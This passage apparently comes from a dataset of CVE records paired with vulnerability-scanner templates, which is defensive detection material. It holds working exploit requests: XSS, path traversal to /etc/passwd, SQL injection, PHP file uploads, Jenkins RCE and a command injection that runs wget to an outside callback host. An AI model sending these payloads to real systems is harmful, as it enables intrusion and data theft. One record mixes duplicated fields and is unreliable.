\"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Custom Admin Page by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/custom-admin-page/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18530", "The rating-bws plugin before 0.2 for WordPress has multiple XSS issues.\n", 2067, [], 6.1, " cpe:2.3:a:bestwebsoft:rating", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Rating by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/rating-bws/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-12794", "In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with \"DEBUG = True\" (which makes this page accessible) in your production settings.\n", 370, [], 6.1, " cpe:2.3:a:djangoproject:django:1.10.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/create_user/?username=%3Cscript%3E(document.domain)%3C%2Fscript%3E'], 'matchers-condition': 'and', 'matchers': [{'part': 'body', 'words': [''], 'type': 'word'}, {'status': [200], 'type': 'status'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2017-5689", "An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).\n", 1473, [], 9.8, " cpe:2.3:o:intel:active management technology firmware:6.0", "[{'matchers': [{'condition': 'and', 'type': 'word', 'part': 'body_2', 'words': ['System Status', 'Active Management Technology']}, {'status': [200], 'type': 'status'}], 'digest-username': 'admin', 'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /hw-sys.htm HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers-condition': 'and', 'req-condition': True}]"], ["CVE-2017-9140", "Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.", 336, [], 6.1, " cpe:2.3:a:progress:telerik reporting", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22(1)'], 'matchers': [{'type': 'status', 'status': [200]}, {'condition': 'and', 'type': 'word', 'words': ['#000000\"onload=\"(1)', 'Telerik.ReportViewer.axd?name=Resources']}]}]"], ["CVE-2017-18491", "The contact-form-plugin plugin before 4.0.6 for WordPress has multiple XSS issues.\n", 2062, [], 6.1, " cpe:2.3:a:bestwebsoft:contact form", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Contact Form by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/contact-form-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-6090", "PhpCollab (unauthenticated) Arbitrary File Upload", 525, [], 8.8, " cpe:2.3:a:phpcollab:phpcollab", "[{'matchers': [{'words': ['48dbd2384cb6b996fa1e2855c7f0567f'], 'part': 'body', 'type': 'word'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'raw': ['POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137\\n\\n-----------------------------154934846911423734231554128137\\nContent-Disposition: form-data; name=\"upload\"; filename=\"{{randstr}}.php\"\\nContent-Type: application/x-php\\n\\n\\n\\n-----------------------------154934846911423734231554128137--\\n', 'GET /logos_clients/1.php HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11165", "DataTaker DT80 dEX 1.50.012 is susceptible to information disclosure. A remote attacker can obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI, thereby possibly accessing sensitive information, modifying data, and/or executing unauthorized operations.\n", 1577, [], 9.8, " cpe:2.3:o:datataker:dt80 dex firmware:1.50.012", "[{'path': ['{{BaseURL}}/services/getFile.cmd?userfile=config.xml'], 'matchers': [{'type': 'word', 'words': ['COMMAND_SERVER', '', 'config id=\"config'], 'condition': 'and'}, {'part': 'header', 'type': 'word', 'words': ['text/xml']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2017-18638", "send_email in graphite-web/webapp/graphite/composer/views.py in Graphite through 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an e-mail address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.", 669, [], 7.5, " cpe:2.3:a:graphite project:graphite", "[{'method': 'GET', 'path': ['{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}'], 'matchers': [{'type': 'word', 'part': 'interactsh_protocol', 'words': ['http']}]}]"], ["CVE-2017-12542", "A authentication bypass and execution of code vulnerability in HPE Integrated Lights-out 4 (iLO 4) version prior to 2.53 was found.", 37, [], 10.0, " cpe:2.3:o:hp:integrated lights-out 4 firmware", "[{'method': 'GET', 'matchers': [{'words': ['iLO User'], 'type': 'word', 'part': 'body'}, {'words': ['application/json'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/rest/v1/AccountService/Accounts'], 'headers': {'Connection': 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'}, 'matchers-condition': 'and'}]"], ["CVE-2017-12583", "DokuWiki through 2017-02-19b has XSS in the at parameter (aka the DATE_AT variable) to doku.php.", 1108, [], 6.1, " cpe:2.3:a:dokuwiki:dokuwiki", "[{'path': ['{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=%3Csvg%20onload%3D%28document.domain%29%3E'], 'matchers-condition': 'and', 'method': 'GET', 'matchers': [{'part': 'body', 'type': 'word', 'words': ['']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/redirector.php?url=https://attacker.com', '{{BaseURL}}/redirector.php?do=nodelay&url=https://attacker.com']}]"], ["CVE-2018-10201", "Ncomputing vSpace Pro versions 10 and 11 suffer from a directory traversal vulnerability.", 913, [], 7.5, " cpe:2.3:a:ncomputing:vspace pro:10", "[{'stop-at-first-match': True, 'method': 'GET', 'path': ['{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini', '{{BaseURL}}/...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\windows\\\\win.ini', '{{BaseURL}}/..../..../..../..../..../..../..../..../..../windows/win.ini', '{{BaseURL}}/....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\windows\\\\win.ini'], 'matchers': [{'words': ['bit app support', 'fonts', 'extensions'], 'part': 'body', 'condition': 'and', 'type': 'word'}]}]"], ["CVE-2018-10383", "Lantronix SecureLinx Spider (SLS) 2.2+ devices have XSS in the auth.asp login page.\n", 2781, [], 6.1, " cpe:2.3:o:lantronix:securelinx spider firmware", "[{'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers': [{'internal': True, 'type': 'dsl', 'dsl': ['contains_any(body, \"Lantronix\", \"Lantronix, Inc\")']}]}, {'raw': ['GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22(document.domain)%22%3E HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers': [{'condition': 'and', 'type': 'dsl', 'dsl': ['contains(body, \"><style onload=\\\\\"(document.domain)\\\\\">\")', 'status_code == 200']}]}]"], ["CVE-2018-18809", "The default server implementation of TIBCO Software Inc.'s TIBCO JasperReports Library, TIBCO JasperReports Library Community Edition, TIBCO JasperReports Library for ActiveMatrix BPM, TIBCO JasperReports Server, TIBCO JasperReports Server Community Edition, TIBCO JasperReports Server for ActiveMatrix BPM, TIBCO Jaspersoft for AWS with Multi-Tenancy, and TIBCO Jaspersoft Reporting and Analytics for AWS contains a directory-traversal vulnerability that may theoretically allow web server users to access contents of the host system.\n", 1993, [], 6.5, " cpe:2.3:a:tibco:jasperreports library:6.3.4", "[{'matchers': [{'part': 'body', 'type': 'word', 'condition': 'and', 'words': ['metadata.jdbc.driverClassName', 'metadata.hibernate.dialect']}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'matchers-condition': 'and', 'path': ['{{BaseURL}}/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties']}]"], ["CVE-2018-19915", "DomainMOD through 4.11.01 has XSS via the assets/edit/host.php Web Host Name or Web Host URL field.\n", 1274, [], 4.8, " cpe:2.3:a:domainmod:domainmod", "[{'max-redirects': 2, 'matchers': [{'condition': 'and', 'dsl': ['status_code_3 == 200', 'contains(all_headers_3, \"text/html\")', 'contains(body_3, \"><script>(document.domain)</script></a>\")'], 'type': 'dsl'}], 'req-condition': True, 'cookie-reuse': True, 'redirects': True, 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_username={{username}}&new_password={{password}}\\n', 'POST /assets/add/host.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_host=%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&new_url=%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&new_notes=test\\n', 'GET /assets/hosting.php HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2018-16761", "Eventum before 3.4.0 has an open redirect vulnerability.\n", 1210, [], 6.1, " cpe:2.3:a:eventum project:eventum", "[{'method': 'GET', 'path': ['{{BaseURL}}/select_project.php?url=http://attacker.com', '{{BaseURL}}/clock_status.php?current_page=http://attacker.com'], 'stop-at-first-match': True, 'matchers': [{'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)attacker\\\\.com\\\\/?(\\\\/|[^.].*)?$'], 'part': 'header', 'type': 'regex'}]}]"], ["CVE-2018-7490", "uWSGI PHP Plugin Directory Traversal", 85, [], 7.5, " cpe:2.3:a:unbit:uwsgi", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd']}]"], ["CVE-2018-10735", "A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.\n", 2359, [], 7.2, " cpe:2.3:a:nagios:nagios xi", "[{'path': ['{{BaseURL}}/nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{num}}))%23'], 'matchers': [{'part': 'body', 'words': ['{{md5(num)}}'], 'type': 'word'}], 'method': 'GET'}]"], ["CVE-2018-18069", "process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.", 91, [], 6.1, " cpe:2.3:a:wpml:wpml", "[{'method': 'POST', 'matchers': [{'type': 'dsl', 'dsl': ['status_code==302 && contains(set_cookie, \"_icl_current_admin_language\")']}], 'path': ['{{BaseURL}}/wp-admin/admin.php'], 'body': 'icl_post_action=save_theme_localization&locale_file_name_en=EN\\\\\"><html xmlns=\\\\\"hacked'}]"], ["CVE-2018-20608", "Imcat 4.4 allows remote attackers to read phpinfo output via the root/tools/adbug/binfo.php?phpinfo1 URI.", 1976, [], 7.5, " cpe:2.3:a:txjia:imcat:4.4", "[{'extractors': [{'regex': ['>PHP Version <\\\\/td><td class=\"v\">([0-9.]+)'], 'group': 1, 'type': 'regex', 'part': 'body'}], 'path': ['{{BaseURL}}/imcat/root/tools/adbug/binfo.php?phpinfo1'], 'matchers-condition': 'and', 'matchers': [{'condition': 'and', 'words': ['PHP Extension', 'PHP Version'], 'type': 'word'}, {'status': [200], 'type': 'status'}], 'method': 'GET'}]"], ["CVE-2018-1000861", "Jenkins 2.138 Remote Command Execution", 94, [], 9.8, " cpe:2.3:a:jenkins:jenkins", "[{'method': 'GET', 'matchers': [{'words': ['package#vulntest'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;']}]"], ["CVE-2018-11227", "Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n", 1583, [], 6.1, " cpe:2.3:a:monstra:monstra cms", "[{'matchers': [{'part': 'body', 'type': 'word', 'words': ['><svg/onload=(document.domain)>', 'Monstra'], 'condition': 'and', 'case-insensitive': True}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'raw': ['POST /admin/index.php?id=pages HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlogin=\"><svg/onload=(document.domain)>&password=xxxxxx&login_submit=Log+In\\n'], 'matchers-condition': 'and'}]"], ["CVE-2018-10942", "In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.\n", 2286, [], 9.8, " cpe:2.3:a:attribute wizard project:attribute wizard:1.6.9", "[{'host-redirects': True, 'raw': ['POST /modules/{{paths}}/file_upload.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818\\n\\n--ba1f796d0aa2482e9c51c81ae6087818\\nContent-Disposition: form-data; name=\"userfile\"; filename=\"{{filename}}.php\"\\nContent-Type: multipart/form-data\\n\\n{{randstr}}\\n--ba1f796d0aa2482e9c51c81ae6087818--\\n', 'GET /modules/{{paths}}/file_uploads/{{file}} HTTP/1.1\\nHost: {{Hostname}}\\n'], 'payloads': {'paths': ['attributewizardpro', '1attributewizardpro', 'attributewizardpro.OLD', 'attributewizardpro_x']}, 'matchers': [{'part': 'body_1', 'words': ['{{filename}}'], 'type': 'word'}, {'part': 'body_2', 'words': ['{{randstr}}'], 'type': 'word'}], 'max-redirects': 3, 'stop-at-first-match': True, 'extractors': [{'part': 'body_1', 'group': 1, 'type': 'regex', 'name': 'file', 'regex': ['(.*?)\\\\|\\\\|\\\\|\\\\|'], 'internal': True}], 'matchers-condition': 'and'}]"], ["CVE-2018-11784", "Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input.", 60, [], 4.3, " cpe:2.3:a:apache:tomcat", "[{'matchers': [{'type': 'regex', 'regex': ['(?m)^(L|l)ocation: (((http|https):)?//(www.)?)?example.com'], 'part': 'header'}], 'method': 'GET', 'path': ['{{BaseURL}}//example.com']}]"], ["CVE-2018-12998", "reflected Cross-site scripting (XSS) vulnerability in Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 allows remote attackers to inject arbitrary web script or HTML via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.", 709, [], 6.1, " cpe:2.3:a:zohocorp:firewall analyzer:-", "[{'matchers': [{'part': 'body', 'words': ['</script><script>(document.domain)</script>'], 'type': 'word'}, {'type': 'status', 'status': [200]}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E']}]"], ["CVE-2018-11759", "Apache Tomcat JK Status Manager Access", 67, [], 7.5, " cpe:2.3:a:apache:tomcat jk connector", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['JK Status Manager'], 'type': 'word'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/jkstatus', '{{BaseURL}}/jkstatus;']}]"], ["CVE-2018-14574", "Django Open Redirect", 81, [], 6.1, " cpe:2.3:a:djangoproject:django", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [301]}, {'words': ['Location: https://www.example.com', 'Location: http://www.example.com'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}//www.example.com']}]"], ["CVE-2018-19326", "The vulnerability exists due to path traversal, as demonstrated by reading /etc/passwd. A remote unauthenticated attacker can send a specially crafted URL request containing \"dot dot\" sequences (/../), conduct directory traversal attack and view arbitrary files.", 1163, [], 7.5, " cpe:2.3:o:zyxel:vmg1312-b10d firmware", "[{'matchers': [{'regex': ['root:.*:0:0:'], 'type': 'regex', 'part': 'body'}, {'type': 'word', 'words': ['application/octet-stream'], 'part': 'header'}], 'path': ['{{BaseURL}}/../../../../../../../../../../../../etc/passwd'], 'method': 'GET', 'matchers-condition': 'and'}]"], ["CVE-2018-14916", "Loytec LGATE-902 versions prior to 6.4.2 suffer from cross site scripting, arbitrary file deletion, and directory traversal vulnerabilities.", 884, [], 9.1, " cpe:2.3:o:loytec:lgate-902 firmware", "[{'matchers': [{'regex': ['root:[x*]:0:0'], 'type': 'regex'}, {'status': [200], 'type': 'status'}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152']}]"], ["CVE-2018-20470", "An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.", 556, [], 7.5, " cpe:2.3:a:sahipro:sahi pro", "[{'path': ['{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected'], 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'word', 'condition': 'and', 'words': ['bit app support', 'fonts', 'extensions'], 'part': 'body'}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2018-8719", "Access to wp-content/uploads/wp-security-audit-log/* files is not restricted. For example, these files are indexed by Google and allows for attackers to possibly find sensitive information", 655, [], 5.3, " cpe:2.3:a:wpsecurityauditlog:wp security audit log:3.1.1", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'word', 'words': ['[TXT]', '.log', 'Index of'], 'condition': 'and'}], 'path': ['{{BaseURL}}/wp-content/uploads/wp-security-audit-log/failed-logins/'], 'matchers-condition': 'and'}]"], ["CVE-2018-12095", "A Reflected Cross-Site Scripting web vulnerability has been discovered in the OEcms v3.1 web-application. The vulnerability is located in the mod parameter of info.php.", 639, [], 5.4, " cpe:2.3:a:oecms project:oecms:3.1", "[{'method': 'GET', 'path': ['{{BaseURL}}/cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': ['</script><script>(document.domain)</script>'], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2018-17246", "Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.", 80, [], 9.8, " cpe:2.3:a:elastic:kibana", "[{'method': 'GET', 'matchers': [{'words': ['\"message\":\"An internal server error occurred\"'], 'type': 'word', 'part': 'body'}, {'words': ['kbn-name', 'application/json', 'kibana'], 'condition': 'and', 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [500]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd']}]"], ["CVE-2018-20011", "DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /assets/add/category.php CatagoryName, StakeHolder parameters.\n", 1273, [], 4.8, " cpe:2.3:a:domainmod:domainmod", "[{'max-redirects': 2, 'matchers': [{'condition': 'and', 'dsl': ['status_code_3 == 200', 'contains(all_headers_3, \"text/html\")', 'contains(body_3, \"><script>(document.domain)</script></a>\")'], 'type': 'dsl'}], 'req-condition': True, 'cookie-reuse': True, 'redirects': True, 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_username={{username}}&new_password={{password}}\\n', 'POST /assets/add/category.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_category=%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&new_stakeholder=&new_notes=\\n', 'GET /assets/categories.php HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2018-19749", "DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via assets/add/account-owner.php Owner name field.\n", 1269, [], 4.8, " cpe:2.3:a:domainmod:domainmod", "[{'cookie-reuse': True, 'max-redirects': 2, 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_username={{username}}&new_password={{password}}\\n', 'POST /assets/add/account-owner.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nnew_owner=%3Cscript%3E%28document.domain%29%3C%2Fscript%3E&new_notes=\\n', 'GET /assets/account-owners.php HTTP/1.1\\nHost: {{Hostname}}\\n'], 'redirects': True, 'req-condition': True, 'matchers': [{'type': 'dsl', 'dsl': ['status_code_3 == 200', 'contains(all_headers_3, \"text/html\")', \"contains(body_3, '><script>(document.domain)</script></a>')\"], 'condition': 'and'}]}]"], ["CVE-2018-2791", "Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware", 79, [], 8.2, " cpe:2.3:a:oracle:webcenter sites:11.1.1.8.0", "[{'method': 'GET', 'matchers': [{'words': ['<xxx<script(1)</script'], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/servlet/Satellite?destpage=%22%3Cxxx%3Cscript(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError']}]"], ["CVE-2018-9845", "Etherpad Lite before 1.6.4 is exploitable for admin access.", 856, [], 9.8, " cpe:2.3:a:etherpad:etherpad lite", "[{'path': ['{{BaseURL}}/Admin'], 'matchers': [{'condition': 'and', 'words': ['Etherpad version', 'Plugin manager', 'Installed parts'], 'type': 'word', 'part': 'body'}, {'status': [200], 'type': 'status'}], 'redirects': True, 'max-redirects': 2, 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2018-14474", "views/auth.go in Orange Forum 1.4.0 allows Open Redirection via the next parameter to /login or /signup.\n", 1207, [], 6.1, " cpe:2.3:a:goodoldweb:orange forum:1.4.0", "[{'path': ['{{BaseURL}}/login?next=http://attacker.com/?app.scan/', '{{BaseURL}}/signup?next=http://attacker.com/?app.scan/'], 'method': 'GET', 'matchers': [{'type': 'regex', 'part': 'header', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)attacker\\\\.com\\\\/?(\\\\/|[^.].*)?$']}], 'stop-at-first-match': True}]"], ["CVE-2018-9205", "Vulnerability in avatar_uploader v7.x-1.0-beta8 , The code in view.php doesnt verify users or sanitize the file path.", 829, [], 7.5, " cpe:2.3:a:drupal:avatar uploader:7.x-1.0:beta8", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd'], 'matchers': [{'type': 'regex', 'regex': ['root:.*:0:0']}, {'type': 'status', 'status': [200]}], 'method': 'GET'}]"], ["CVE-2018-16167", "LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors.", 588, [], 9.8, " cpe:2.3:a:jpcert:logontracer", "[{'raw': ['POST /upload HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: python-requests/2.18.4\\nAccept-Encoding: gzip, deflate\\nAccept: */*\\nConnection: keep-alive\\nContent-Type: application/x-www-form-urlencoded\\n\\nlogtype=XML&timezone=1%3Bwget+http%3A%2F%2F{{interactsh-url}}%3B\\n'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'part': 'interactsh_protocol', 'words': ['http']}]}]"], ["CVE-2018-3760", "Rails CVE-2018-3760", 78, [], 7.5, " cpe:2.3:a:redhat:cloudforms:4.5", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/assets/file:%2f%2f/etc/passwd']}]"], ["CVE-2018-16836", "Rubedo CMS 3.4.0 - Directory Traversal", 729, [], 9.8, " cpe:2.3:a:rubedo project:rubedo", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'type': 'regex', 'regex': ['root:.*:0:0']}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd']}]"], ["CVE-2018-9995", "DVR Authentication Bypass", 360, [], 9.8, " cpe:2.3:o:tbkvision:tbk-dvr4216 firmware:-", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'word', 'condition': 'and', 'words': ['\"uid\":', '\"pwd\":', '\"view\":', 'playback'], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/device.rsp?opt=user&cmd=list']}]"], ["CVE-2018-6184", "Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n", 1582, [], 7.5, " cpe:2.3:a:zeit:next.js:4.0.0", "[{'path': ['{{BaseURL}}/_next/../../../../../../../../../etc/passwd'], 'matchers': [{'part': 'body', 'type': 'regex', 'regex': ['root:.*:0:0:']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2018-7653", "In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.", 1991, [], 6.1, " cpe:2.3:a:yzmcms:yzmcms:3.6", "[{'matchers': [{'part': 'body', 'type': 'word', 'condition': 'and', 'case-insensitive': True, 'words': ['<img src=a onerror=(document.domain)>', 'YzmCMS']}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'matchers-condition': 'and', 'path': ['{{BaseURL}}/index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3d(document.domain)>cu9rs&modelid=1&q=tes']}]"], ["CVE-2018-11473", "Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n", 1579, [], 6.1, " cpe:2.3:a:monstra:monstra:3.0.4", "[{'cookie-reuse': True, 'extractors': [{'part': 'body', 'type': 'regex', 'internal': True, 'name': 